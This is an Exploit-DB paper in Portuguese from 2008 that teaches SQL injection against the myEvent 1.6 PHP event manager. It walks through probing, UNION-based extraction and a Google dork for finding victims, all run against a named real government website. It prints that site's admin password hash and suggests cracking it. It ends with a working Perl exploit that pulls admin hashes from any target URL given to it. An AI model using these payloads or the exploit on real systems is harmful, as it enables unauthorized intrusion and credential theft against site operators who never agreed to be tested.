[Portuguese] SQL Injection: Anatomy of an Attack

EDB-ID:

13009

CVE:

N/A

Author:

liquido

Type:

papers

Platform:

Multiple

Published:

2008-10-26

################################################

SQL Injection: Anatomia de um ataque

por liquido (pr0miscual[at]gmail.com) - Oct.08

################################################


 O leitor, seja ele um hacker interessado, um script-kiddie ou apenas um curioso é certo que já se cruzou nas 
suas diversas leituras com um tipo de falha chamado "SQL Injection" ou na língua de Camões: uma injecção de SQL.
 O SQL (Structured Query Language), para quem não sabe, é uma linguagem utilizada nos mais conhecidos gestores 
de bases de dados e serve, muito resumidamente, para estruturar as perguntas (pesquisas, do inglês query) feitas 
a bases de dados relacionais. Ou seja uma sintaxe mais "humana" para obter dados em forma de tabelas apartir de
 uma base de dados relacional. [Caso uma explicação sucinta do que é o SQL não sirva aconselho uma visita à 
wikipedia: http://pt.wikipedia.org/wiki/SQL ou uma pesquisa no google.]
 Hoje em dia muitas das aplicações web que vemos online, sejam elas de lojas, galerias de fotos, redes sociais,
 fóruns, etc.. fornecem uma interface gráfica que se apoia em, na generalidade aplicações dinâmicas sejam elas 
PHP, ASP, ... que apresentam os dados e a interface e dados esses que normalmente se econtram em bases de dados, 
muitas das vezes SQL (para não dizer quase sempre). As aplicações executam assim automaticamente pesquisas à base 
de dados consoante os dados requeridos pelo utilizador. 
 O SQL injection é uma forma de ataque bastante simples que consiste em "injectar" código SQL numa pesquisa que 
já é feita pela aplicação. Normalmente podemos pensar num teste de penetração de um servidor como o verificar 
quais as portas abertas no servidor, quais os serviços que estão a correr, etc..etc.. mas neste caso o ataque 
é efectuado sobre e com a ajuda de uma aplicação disponível a qualquer utilizador precisando assim como ferramenta
 de "invasão" apenas um web browser comum.
 Procuramos aqui então uma página que procure um input do utilizador, e isso verifica-se em praticamente todos 
sites web hoje em dia em que vemos coisas do género: 


http://site.com/ultras.php?var=blabla


 E em algumas situações o valor de variáves como var é utilizado para pesquisas em bases de dados SQL.
 Partindo do princípio que o leitor tem um mínimo conhecimento de programação e até mesmo de SQL iremos então 
realizar um ataque a um domínio real para demonstrar um tipo de ataque de SQL Injection, o qual irei explicar 
passo a passo tentando demonstrar os conceitos envolvidos.
 Espero então não ser processado mas a aplicação em que existe a falha é a myEvent, um gestor de eventos em PHP 
e que o download pode ser feito de:


myEvent 1.6: http://www.mywebland.com/download.php?id=6


 Saiu um advisory há uns tempos que mostrava que existe uma parte do código, presente no ficheiro viewevent.php,
 que é vulnerável:


(...)
$sql = "SELECT  * FROM event WHERE  date = '$eventdate'" ; 
$results = mysql_query($sql) or die("Cannot query the database." . mysql_error()); 
$event  = mysql_num_rows($results);


 Fácilmente se verifica na primeira linha que é feito um SELECT à coluna event da tabela em que a variável 
date seja igual à variável $eventdate, ou seja, o ficheiro pergunta à base de dados quais os eventos cuja data 
seja igual à especificada pela varià vel MAS nenhuma verificação é feita em relação à variável $eventdate para 
verificar se código é injectado ou não o que nos permite atacar.
 Uma pesquisa simples no Google, o melhor amigo dos hackers de hoje em dia, pelo ficheiro inurl:"viewevent.php" 
leva-nos ao seguinte site, e mais uma vez espero não ser processado:


http://www.papua.go.id/


 Seja lá o que isto for mais parece um site governamental na provincia da Papua mas enfim o que me interessou foi
 que tem o myEvent instalado, talvez para msotrar na página inicial o que vai acontecer, e o mesmo pode ser 
encontrado aqui:


http://www.papua.go.id/ddptanpangan/event/viewevent.php?eventdate=1


 Vamos primeiro fazer uma pequena pesquisa para tentar descobrir a estrutura, nome qualquer coisa sobre a base de
 dados e a tabela a que estamos a aceder pois no fundo estamos às cegas. Acrescentando uma aspa:


http://www.papua.go.id/ddptanpangan/event/viewevent.php?eventdate=1'

 
Obtemos o seguinte retorno:


Cannot query the database.
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the 
right syntax to use near ''1''' at line 1


Hmm um servidor MySQL e não gostou do que colocámos depois do valor da variável 1. Como metemos uma aspa ele 
esperou por mais dados. Mas porquê? Simples, o código vulnerável era:


SELECT  * FROM event WHERE  date = '1' /* $eventdate = 1 */


 Ao adicionarmos ' ficou:


SELECT  * FROM event WHERE  date = '1' '


 Ou seja um erro de sintaxe pois temos uma aspa a mais. É isto que nos indica que podemos injectar mais código 
nesta pesquisa SQL logo depois de fechar a primeira aspa desde que dentro da sintaxe claro. 
 Vamos tentar então descobrir por exemplo quantas colunas tem a tabela event. Existe um comando SQL que permite 
ordenar o resultado da pesquisa por uma das colunas da tabela (por exemplo ordenar uma tabela pelo número de 
conta dos clientes de um banco) e esse comando chama-se ORDER BY e uma explicação mais concisa está na página do 
manual do MySQL:http://dev.mysql.com/doc/refman/5.0/en/order-by-optimization.html
 Ordeno então a tabela event pela primeira coluna para ver o que acontece:


http://www.papua.go.id/ddptanpangan/event/viewevent.php?eventdate=1' order by 1/*



 E...nada acontece. O que é bom! Sabemos que tem pelo menos uma coluna. Um elemento importante que foi introduzido
 aqui foram os caractéres "/*" que tal como devem conhecer refere-se a um comentário ou seja a nossa pesquisa 
SQL será intrepertada na realidade como:


SELECT  * FROM event WHERE  date = '1' ORDER BY 1 /* 


 E a genialidade deste ataque está presente no facto de que depois de "/*" o resto será intrepertado como 
comentário e não influenciará a busca o que permite que tenhamos uma maior liberdade. Imaginemos um cenário em 
que a base de dados serviria para a autenticação de um utilizador:


SELECT  * FROM users WHERE  username = '$username' AND password = '$password'



Ou seja, apenas mostrava os dados se a o par $username:$password existisse e estivesse correcto, mas ao 
transformar a variável $username em $username = admin' /* a pesquisa transformava-se em:


SELECT  * FROM users WHERE  username = 'admin' /* AND password = '$password'


Transformando assim a verificação do campo password em apenas um comentário, ignorado assim pelo gestor de bases 
de dados e apresentaria facilmente o conteúdo da tabela sem precisar de password.
Bem mas continuando, vou fazendo ORDER BY's por colúnas até aparecer um erro, quando aparecer já sei que esse é o 
n-1 do número das tabelas:


http://www.papua.go.id/ddptanpangan/event/viewevent.php?eventdate=1' order by 2/*
http://www.papua.go.id/ddptanpangan/event/viewevent.php?eventdate=1' order by 3/*
http://www.papua.go.id/ddptanpangan/event/viewevent.php?eventdate=1' order by 4/*

...boom:

Cannot query the database.
Unknown column '4' in 'order clause'

Ou seja, não exise uma coluna 4 pelo que existem então, na tabela event, 3 colunas. Vamos tentar agora usar o 
comando UNION (que basicamente serve para unir resultados de vários SELECT's: 
http://dev.mysql.com/doc/refman/5.0/en/union.html) adicionando uma nova pesquisa select à nossa:


SELECT  * FROM event WHERE  date = '1' UNION SELECT 1,2,3 /*


ou seja:


http://www.papua.go.id/ddptanpangan/event/viewevent.php?eventdate=1' union select 1,2,3/*


E aparece-nos um 3 no ecrã:

Jadwal Kegiatan
Date : 1' union select 1,2,3/*
3


Caso tenham reparado foi o último elemento que colocámos na nossa nova pesquisa, vamos substituir por database() 
(comando SQL que retorna o nome da base de dados) e:


http://www.papua.go.id/ddptanpangan/event/viewevent.php?eventdate=1' union select 1,2,database()/*


Jadwal Kegiatan
Date : 1' union select 1,2,database()/*
deptan


Obtemos assim facilmente o nome deptan para a nossa base de dados. Outros dados são possíveis de obter apenas com 
esta técnica e uma busca no Google sobre mais comandos SQL e por vezes são úteis para pentesting mas vamos tentar
 ir um pouco mais longe. 
Normalmente estes programas têm uma tabela de utilizadores ou admnistradores que podem ter nomes como users, 
admin, userlist, etc.. e podemos refinar o nosso SELECT anterior adicionando um FROM, por exemplo:


SELECT  * FROM event WHERE  date = '1' UNION SELECT 1,2,3 FROM users/*


http://www.papua.go.id/ddptanpangan/event/viewevent.php?eventdate=1'% union select 1,2,3 from users/*


Cannot query the database.
Table 'deptan.users' doesn't exist


Sabemos então que não existe a tabela users, tentaremos agora com admin e:


http://www.papua.go.id/ddptanpangan/event/viewevent.php?eventdate=1' union select 1,2,3 from admin/*


Jadwal Kegiatan
Date : 1' union select 1,2,3 from admin/*
3


Temos então o output 3 da tabela admin, é um pouco óbvio que queremos a password desta conta e que se existe esta
 tabela e com este nome é normal que exista uma coluna de seu nome password, pass, passwd, etc.. e
experimentaremos a busca:


SELECT  * FROM event WHERE  date = '1' UNION SELECT 1,2,password FROM admin/*


http://www.papua.go.id/ddptanpangan/event/viewevent.php?eventdate=1' union select 1,2,password from admin/*


Jadwal Kegiatan
Date : 1' union select 1,2,password from admin/*
0672a7dd95e619f1476eb03f89fb167d
 

E inocentemente a base de dados fornece-nos a hash MD5 da password de adminstração pondo assim fim ao nosso 
ataque. Agora basta ir a uma base de dados online de hashes ou fazer o download de um hash cracker para 
descobrir a mesma embora esse não seja o objectivo deste tutorial. 
Um simples exploit pode ser escrito em perl para explorar uma vulnerabilidade deste tipo:

############################################################################################################

################################################################
# Exploit: myEvent 1.6 (http://mywebland.com/)                 #
#--------------------------------------------------------------#
# Vuln   : Remote SQL Injection Vulnerability on viewevent.php #
# result : admin's password md5 hash                           #
# google : inurl:"/viewevent.php?eventdate="                   # 
#--------------------------------------------------------------#
# october 2008                                                 #
# by liquido ( pr0miscual[at]gmail.com )                       # 
################################################################

print "\n# myEvent 1.6 SQL Injector.\n";
print "# by liquido (pr0miscual [at] gmail.com)\n";

use LWP::UserAgent;

print "\n# target [ex: http://test.com/event/]: "; chomp(my $t=<STDIN>);

$agt = LWP::UserAgent->new() or die "Could not initialize browser\n";
$agt->agent('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)');

print "# injecting ...\n";

$h = $t . "viewevent.php?eventdate=1'%20union%20select%201,2,password%20from%20admin/*";
$req = $agt->request(HTTP::Request->new(GET=>$h));

$a = $req->content;

if ($a =~/([0-9a-fA-F]{32})/){
  print "\n# admnistrator user md5 password hash : $1\n";
}
else{print "\n# exploit failed\n";
} 

############################################################################################################

O objectivo era sem dúvida informar os mais curiosos, ensinar os mais iniciados e tentar desviar um pouco os 
script kiddies do caminho do copy-paste dos url's que vêm nos exploits e espero ter conseguido isso, qualquer
dúvida ou comentario deve ser endereçada para mim em promiscual[at]gmail.com


greets, liquido

# milw0rm.com [2008-10-26]